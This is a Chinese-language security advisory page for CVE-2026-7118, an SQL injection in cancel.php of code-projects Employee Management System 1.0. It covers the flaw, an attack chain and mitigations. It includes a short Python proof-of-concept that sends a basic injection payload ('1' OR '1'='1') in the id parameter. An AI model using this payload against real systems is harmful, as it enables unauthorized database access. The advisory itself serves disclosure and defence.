IPBUF安全漏洞报告
English
CVE-2026-7118 CVSS 6.3 中危

CVE-2026-7118 Employee Management System SQL注入漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7118
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Employee Management System

相关标签

SQL注入Employee Management SystemWeb安全CVE-2026-7118RCE

漏洞概述

code-projects Employee Management System 1.0版本存在安全漏洞。受影响文件为370project/cancel.php,由于对id/token参数处理不当,导致SQL注入漏洞。攻击者可利用该漏洞远程发起攻击,无需用户交互,需低权限即可执行,可能造成数据泄露、篡改或服务拒绝。

技术细节

该漏洞位于code-projects Employee Management System 1.0版本的370project/cancel.php文件中。由于开发人员未对用户通过HTTP请求提交的“id”或“token”参数进行有效的安全过滤和类型检查,直接将其拼接到后端SQL查询语句中,导致了SQL注入漏洞。攻击者无需复杂的用户交互(UI:N),仅需具备低权限账户(PR:L)即可通过网络(AV:N)远程发起攻击。通过构造特定的SQL Payload(如单引号闭合、联合查询或时间盲注),攻击者可以绕过认证或直接提取敏感数据库信息,进而影响系统的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在运行code-projects Employee Management System 1.0版本。
STEP 2
2. 获取权限
攻击者注册或获取一个低权限账户(PR:L),这是利用该漏洞的前提条件。
STEP 3
3. 漏洞利用
攻击者向370project/cancel.php发送特制的HTTP请求,在id或token参数中注入恶意SQL代码(如UNION SELECT)。
STEP 4
4. 执行攻击
后端数据库解析并执行恶意SQL语句,导致敏感数据泄露、数据被篡改或系统可用性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-host/370project/cancel.php" # Vulnerable parameters based on description # Attackers can manipulate 'id' or 'token' to inject SQL payload_params = { "id": "1' OR '1'='1", # Basic SQL Injection payload "token": "arbitrary_token" } headers = { "User-Agent": "CVE-2026-7118-Scanner", "Accept": "*/*" } try: # Send malicious request response = requests.get(target_url, params=payload_params, headers=headers, timeout=10) # Check for indicators of success (e.g., SQL errors or unexpected data) if "You have an error in your SQL syntax" in response.text or response.status_code == 200: print("[+] Potential Vulnerability Detected!") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") else: print("[-] Vulnerability not confirmed or target patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

code-projects Employee Management System 1.0

防御指南

临时缓解措施
建议立即在370project/cancel.php文件中修复代码,使用PDO或MySQLi预处理语句代替直接拼接SQL查询。若无法立即修复,应在Web应用防火墙(WAF)中部署规则,拦截针对cancel.php的包含SQL注入特征的请求,并暂时隔离受影响系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表